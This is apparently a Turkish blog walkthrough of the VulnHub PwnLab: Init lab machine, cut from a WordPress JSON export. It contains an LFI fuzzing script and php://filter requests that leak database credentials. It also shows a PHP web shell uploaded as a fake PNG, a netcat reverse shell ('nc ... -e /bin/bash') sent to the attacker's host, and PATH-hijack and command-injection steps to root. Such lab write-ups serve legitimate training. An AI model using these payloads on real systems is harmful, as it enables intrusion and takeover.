http:\/\/192.168.0.13\/?page=upload<\/a><\/strong> gibi sayfalar vard\u0131 ve bu bana lfi olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcrd\u00fc. Bunu test etmek i\u00e7in bir kod yazd\u0131m. A\u015fa\u011f\u0131da bu kodun \u00e7\u0131kt\u0131s\u0131 bulunmaktad\u0131r.<\/p>\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# cat lfi-project.py \nimport requests\n\nhttp_proxy = "http:\/\/127.0.0.1:8080"\nproxyDict = {"http":http_proxy}\n\nurl = input("[*] Hedef URL'i giriniz:\\r\\n")\n\nattackType = input("L\u00fctfen LFI t\u00fcr\u00fcn\u00fc se\u00e7iniz:\\r\\n1- Default\\r\\n2- Filter\\r\\n")\nif(attackType == "1"):\n wordlistFile = open("lfi-wordlist.txt")\n wordlist = wordlistFile.read().split("\\n")\n wordlistFile.close()\n for i in wordlist:\n r = requests.get(url+i, proxies=proxyDict)\n print("URL:",url+i," Code:",r.status_code," Size:",len(r.text))\n\nelif(attackType == "2"):\n pages = open("common.txt")\n wordlist = pages.read().split("\\n")\n pages.close()\n for i in wordlist:\n r = requests.get(url+"php:\/\/filter\/convert.base64-encode\/resource="+i, proxies=proxyDict)\n print("URL:",url+"php:\/\/filter\/convert.base64-encode\/resource="+i," Code:",r.status_code," Size:",len(r.text))\nelse:\n print("[*] Hatal\u0131 se\u00e7im!")\n<\/code><\/pre>\nB\u00fct\u00fcn burdaki s\u00fcreci k\u0131saca a\u00e7\u0131klayayim. B\u00fct\u00fcn ileti\u015fimi burp'e y\u00f6nlendirdim. Gelen isteklerin boyutlar\u0131na g\u00f6re analiz etmeye ba\u015flad\u0131m ve a\u015fa\u011f\u0131daki adreslerde lfi tespit ettim.<\/p>\n
?page=php:\/\/filter\/convert.base64-encode\/resource=upload\n\/?page=php:\/\/filter\/convert.base64-encode\/resource=login\n\/?page=php:\/\/filter\/convert.base64-encode\/resource=index \n\/?page=php:\/\/filter\/convert.base64-encode\/resource=config <\/code><\/pre>\n\u015eimdi bunlar\u0131 inceleyelim. config ile ba\u015flad\u0131m.<\/p>\n
GET \/?page=php:\/\/filter\/convert.base64-encode\/resource=config HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: python-requests\/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nConnection: close<\/code><\/pre>\nCevap:<\/p>\n
HTTP\/1.1 200 OK\n\nDate: Sun, 13 Jun 2021 23:59:50 GMT\n\nServer: Apache\/2.4.10 (Debian)\n\nVary: Accept-Encoding\n\nContent-Length: 405\n\nConnection: close\n\nContent-Type: text\/html; charset=UTF-8\n\n<html>\n\n<head>\n\n<title>PwnLab Intranet Image Hosting<\/title>\n\n<\/head>\n\n<body>\n\n<center>\n\n<img src="images\/pwnlab.png"><br \/>\n\n[ <a href="\/">Home<\/a> ] [ <a href="?page=login">Login<\/a> ] [ <a href="?page=upload">Upload<\/a> ]\n\n<hr\/><br\/>\n\nPD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+<\/center>\n\n<\/body>\n\n<\/html><\/code><\/pre>\nBu k\u0131sm\u0131 decode etti\u011fimizde:<\/p>\n
<?php\n$server = "localhost";\n$username = "root";\n$password = "H4u%QJ_H99";\n$database = "Users";\n?><\/code><\/pre>\nMysql bilgilerimizi elde ettik. Mysql'e ba\u011fland\u0131m:<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# mysql -u root -h 192.168.0.13 -p \nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MySQL connection id is 32650\nServer version: 5.5.47-0+deb8u1 (Debian)\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMySQL [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| information_schema |\n| Users |\n+--------------------+\n2 rows in set (0.002 sec)\n\nMySQL [(none)]> use Users;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMySQL [Users]> show tables;\n+-----------------+\n| Tables_in_Users |\n+-----------------+\n| users |\n+-----------------+\n1 row in set (0.001 sec)\n\nMySQL [Users]> select * from users;\n+------+------------------+\n| user | pass |\n+------+------------------+\n| kent | Sld6WHVCSkpOeQ== |\n| mike | U0lmZHNURW42SQ== |\n| kane | aVN2NVltMkdSbw== |\n+------+------------------+\n3 rows in set (0.001 sec)\n\nMySQL [Users]> <\/code><\/pre>\nElimizde baz\u0131 kullan\u0131c\u0131lar var ve bu kullan\u0131c\u0131lar\u0131n parolalar\u0131 base64 ile encode edilmi\u015f. Kolayca decode edilebilir.
\nSayfalar\u0131n kaynak kodlar\u0131n\u0131 incelerken ilgin\u00e7 bir ayr\u0131nt\u0131y\u0131 yakalad\u0131m.<\/p>\n
GET \/?page=php:\/\/filter\/convert.base64-encode\/resource=index HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: python-requests\/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: *\/*\nConnection: close<\/code><\/pre>\nCevap:<\/p>\n
HTTP\/1.1 200 OK\nDate: Mon, 14 Jun 2021 00:00:17 GMT\nServer: Apache\/2.4.10 (Debian)\nVary: Accept-Encoding\nContent-Length: 1097\nConnection: close\nContent-Type: text\/html; charset=UTF-8\n\n<html>\n<head>\n<title>PwnLab Intranet Image Hosting<\/title>\n<\/head>\n<body>\n<center>\n<img src="images\/pwnlab.png"><br \/>\n[ <a href="\/">Home<\/a> ] [ <a href="?page=login">Login<\/a> ] [ <a href="?page=upload">Upload<\/a> ]\n<hr\/><br\/>\nPD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo\/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw\/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=<\/center>\n<\/body>\n<\/html><\/code><\/pre>\nDecode:<\/p>\n
<?php\n\/\/Multilingual. Not implemented yet.\n\/\/setcookie("lang","en.lang.php");\nif (isset($_COOKIE['lang']))\n{\n include("lang\/".$_COOKIE['lang']);\n}\n\/\/ Not implemented yet.\n?>\n<html>\n<head>\n<title>PwnLab Intranet Image Hosting<\/title>\n<\/head>\n<body>\n<center>\n<img src="images\/pwnlab.png"><br \/>\n[ <a href="\/">Home<\/a> ] [ <a href="?page=login">Login<\/a> ] [ <a href="?page=upload">Upload<\/a> ]\n<hr\/><br\/>\n<?php\n if (isset($_GET['page']))\n {\n include($_GET['page'].".php");\n }\n else\n {\n echo "Use this server to upload and share image files inside the intranet";\n }\n?>\n<\/center>\n<\/body>\n<\/html><\/code><\/pre>\ninclude("lang\/".$_COOKIE['lang']);<\/code> k\u0131sm\u0131 son derece \u00f6nemli. Taramalar esnas\u0131nda bir file upload sayfas\u0131 bulmu\u015ftum ve buray\u0131 manip\u00fcle etmeyi denedim. En sonunda bir php kodu i\u00e7eren dosya y\u00fckleyebildim. A\u015fa\u011f\u0131da bunu bir iste\u011fi bulunmaktad\u0131r.<\/p>\nPOST \/?page=upload HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart\/form-data; boundary=---------------------------13866755612239220068481365210\nContent-Length: 885\nOrigin: http:\/\/192.168.0.13\nConnection: close\nReferer: http:\/\/192.168.0.13\/?page=upload\nCookie: PHPSESSID=dl7taaf9l643vsifgiijs538q5\nUpgrade-Insecure-Requests: 1\n-----------------------------13866755612239220068481365210\nContent-Disposition: form-data; name="file"; filename="simple-backdoor.png"\nContent-Type: image\/png\n\nGIF89a\n\u00f7\u00ff\n<?php\n\nif(isset($_REQUEST['cmd'])){\n echo "<pre>";\n $cmd = ($_REQUEST['cmd']);\n system($cmd);\n echo "<\/pre>";\n die;\n}\n\n?>\nUsage: http:\/\/target.com\/simple-backdoor.php?cmd=cat+\/etc\/passwd\n\n<!-- http:\/\/michaeldaw.org 2006 -->\n\n-----------------------------13866755612239220068481365210\n\nContent-Disposition: form-data; name="submit"\n\nUpload\n\n-----------------------------13866755612239220068481365210--<\/code><\/pre>\nCevap:<\/p>\n
HTTP\/1.1 200 OK\nDate: Mon, 14 Jun 2021 01:02:51 GMT\nServer: Apache\/2.4.10 (Debian)\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post\ncheck=0, pre-check=0\nPragma: no-cache\nVary: Accept-Encoding\nContent-Length: 541\nConnection: close\nContent-Type: text\/html; charset=UTF-8\n\n<html>\n<head>\n<title>PwnLab Intranet Image Hosting<\/title>\n<\/head>\n<body>\n<center>\n<img src="images\/pwnlab.png"><br \/>\n[ <a href="\/">Home<\/a> ] [ <a href="?page=login">Login<\/a> ] [ <a href="?page=upload">Upload<\/a> ]\n<hr\/><br\/>\n<html>\n <body>\n <form action='' method='post' enctype='multipart\/form-data'>\n <input type='file' name='file' id='file' \/>\n <input type='submit' name='submit' value='Upload'\/>\n <\/form>\n <\/body>\n<\/html>\n<img src="upload\/a6484e3af8488113e8479a42be1eb68b.png"><br \/><\/center>\n<\/body>\n<\/html><\/code><\/pre>\nBunun \u00fczerine a\u015fa\u011f\u0131daki http iste\u011fini \u00e7al\u0131\u015ft\u0131rd\u0131m. A\u015fa\u011f\u0131daki Cookie alan\u0131na dikkat etmemiz gerekmektedir.<\/p>\n
GET \/?cmd=nc+192.168.0.21+1822+-e+\/bin\/bash HTTP\/1.1\n HTTP\/1.1\nHost: 192.168.0.13\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie:lang=..\/upload\/a6484e3af8488113e8479a42be1eb68b.png\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0<\/code><\/pre>\nTabi yukar\u0131daki iste\u011fin \u00e7al\u0131\u015fmas\u0131 i\u00e7in bir dinleme noktas\u0131 ba\u015flatt\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/oscp\/pwnlab\/lfi-fuzz\/lfi-project]\n\u2514\u2500# nc -lvp 1822 \nlistening on [any] 1822 ...\n192.168.0.13: inverse host lookup failed: Unknown host\nconnect to [192.168.0.21] from (UNKNOWN) [192.168.0.13] 55263\nls\nconfig.php\nimages\nindex.php\nlogin.php\nupload\nupload.php\nwhoami\nwww-data\npython -c 'import pty;pty.spawn("\/bin\/bash")'\nwww-data@pwnlab:\/var\/www\/html$ \n<\/code><\/pre>\nBiraz gezindim i\u00e7eride ve mysql'den elde etti\u011fim bilgilerle kullan\u0131c\u0131 de\u011fi\u015ftirdim.<\/p>\n
www-data@pwnlab:\/tmp$ su kent\nsu kent\nPassword: JWzXuBJJNy\n\nkent@pwnlab:\/tmp$ whoami\nwhoami\nkent\nkent@pwnlab:\/home$ ls\nls\njohn kane kent mike\nkent@pwnlab:\/home$ cd mike\ncd mike\nbash: cd: mike: Permission denied\n<\/code><\/pre>\nBunun \u00fczerine ba\u015fka kullan\u0131c\u0131lara ge\u00e7i\u015f yapmay\u0131 denedim.<\/p>\n
su kane\nPassword: iSv5Ym2GRo\n\nkane@pwnlab:\/home$ ls\nls\njohn kane kent mike\nkane@pwnlab:\/home$ cd kane \ncd kane\nkane@pwnlab:~$ ls\nls\nmsgmike\nkane@pwnlab:~$ ls -al\nls -al\ntotal 28\ndrwxr-x--- 2 kane kane 4096 Mar 17 2016 .\ndrwxr-xr-x 6 root root 4096 Mar 17 2016 ..\n-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout\n-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc\n-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike\n-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\ncat: \/home\/mike\/msg.txt: No such file or directory<\/code><\/pre>\ncat komutunu kulland\u0131\u011f\u0131n\u0131 g\u00f6r\u00fcyorum ve dosyan\u0131n sahibi mike. Bununn \u00fczerine PATH de\u011fi\u015fkenini kullanarak yetki y\u00fckseltmeyi denedim.<\/p>\n
kane@pwnlab:~$ echo $PATH\necho $PATH\n\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\nkane@pwnlab:~$ echo "\/bin\/sh" >> \/tmp\/cat\necho "\/bin\/sh" >> \/tmp\/cat\nkane@pwnlab:~$ export PATH=\/tmp:$PATH\nexport PATH=\/tmp:$PATH\nkane@pwnlab:~$ echo $PATH\necho $PATH\n\/tmp:\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\nkane@pwnlab:~$ ls\nls\nmsgmike\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\ncat: \/home\/mike\/msg.txt: No such file or directory\nkane@pwnlab:~$ chmod 777 \/tmp\/cat\nchmod 777 \/tmp\/cat\nkane@pwnlab:~$ .\/msgmike\n.\/msgmike\n$ whoami\nwhoami\nmike\n<\/code><\/pre>\nHarika! Ara\u015ft\u0131rma yapmaya devam ettim.<\/p>\n
$ cd mike\ncd mike\n$ ls\nls\nmsg2root\n$ ls -al\nls -al\ntotal 28\ndrwxr-x--- 2 mike mike 4096 Mar 17 2016 .\ndrwxr-xr-x 6 root root 4096 Mar 17 2016 ..\n-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout\n-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc\n-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root\n-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile\n<\/code><\/pre>\nG\u00f6rd\u00fc\u011f\u00fcm\u00fcz gibi msg2root dosyas\u0131 root kullan\u0131c\u0131s\u0131na ait.<\/p>\n
.\/msg2root\nMessage for root: \n\n$ id\nid\nuid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)\n$ strings .\/msg2root \nstrings .\/msg2root\n\/lib\/ld-linux.so.2\nlibc.so.6\n_IO_stdin_used\nstdin\nfgets\nasprintf\nsystem\n__libc_start_main\n__gmon_start__\nGLIBC_2.0\nPTRh\n[^_]\nMessage for root: \n\/bin\/echo %s >> \/root\/messages.txt\n;*2$"(\nGCC: (Debian 4.9.2-10) 4.9.2\nGCC: (Debian 4.8.4-1) 4.8.4\n.symtab\n...\n...<\/code><\/pre>\nKullan\u0131c\u0131dan al\u0131nan de\u011fi\u015fken direkt olarak \/root kals\u00f6\u00fc alt\u0131ndaki messages.txt dosyas\u0131na yaz\u0131l\u0131yor. Burada parametre arac\u0131l\u0131\u011f\u0131 ile kod \u00e7al\u0131\u015ft\u0131rabiliriz gibi duruyor.<\/p>\n
bash-4.3$ ls\nls\nmsg2root\nbash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test\ntest\ntest\nbash-4.3$ \n\nbash-4.3$ \n\nbash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test; whoami;\ntest; whoami;\ntest\nroot\n<\/code><\/pre>\nHarika! \u015eimdi direkt root olal\u0131m ve flagi okuyal\u0131m.<\/p>\n
bash-4.3$ .\/msg2root\n.\/msg2root\nMessage for root: test; \/bin\/sh\ntest; \/bin\/sh\ntest\n# whoami\nwhoami\nroot\n# cd \/root\ncd \/root\n# ls \nls\nflag.txt messages.txt\n# wc flag.txt\nwc flag.txt\n 23 196 1840 flag.txt\n# head -n 23 flag.txt\nhead -n 23 flag.txt\n.-=~=-. .-=~=-.\n(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)\n(_ ___) _____ _ (_ ___)\n(__ _) \/ __ \\ | | (__ _)\n( _ __) | \/ \\\/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)\n(__ _) | | \/ _ \\| '_ \\ \/ _` | '__\/ _` | __\/ __| (__ _)\n(_ ___) | \\__\/\\ (_) | | | | (_| | | | (_| | |_\\__ \\ (_ ___)\n(__ _) \\____\/\\___\/|_| |_|\\__, |_| \\__,_|\\__|___\/ (__ _)\n( _ __) __\/ | ( _ __)\n(__ _) |___\/ (__ _)\n(__ _) (__ _)\n(_ ___) If you are reading this, means that you have break 'init' (_ ___)\n( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)\n(__ _) this challenge. (__ _)\n(_ ___) (_ ___)\n( _ __) Please send me your feedback or your writeup, I will love ( _ __)\n(__ _) reading it (__ _)\n(__ _) (__ _)\n(__ _) For sniferl4bs.com (__ _)\n( _ __) claor@PwnLab.net - @Chronicoder ( _ __)\n(__ _) (__ _)\n(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)\n`-._.-' `-._.-'\n# <\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: Difficulty: Low Flag: \/root\/flag.txt Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/pwnlab-init,158\/ \u0130ndirme Sayfas\u0131: https:\/\/download.vulnhub.com\/pwnlab\/pwnlab_init.ova Walkthrough Makinenin ip adresini tespit edelim. \u250c\u2500\u2500(root💀kali)-[\/home\/kali] \u2514\u2500# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>…<\/p>\n
Devam\u0131n\u0131 okuPWNLAB: INIT<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[514,515,194],"class_list":["post-1180","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-argument-injection","tag-command-execution","tag-lfi","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1180"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180\/revisions"}],"predecessor-version":[{"id":1181,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180\/revisions\/1181"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}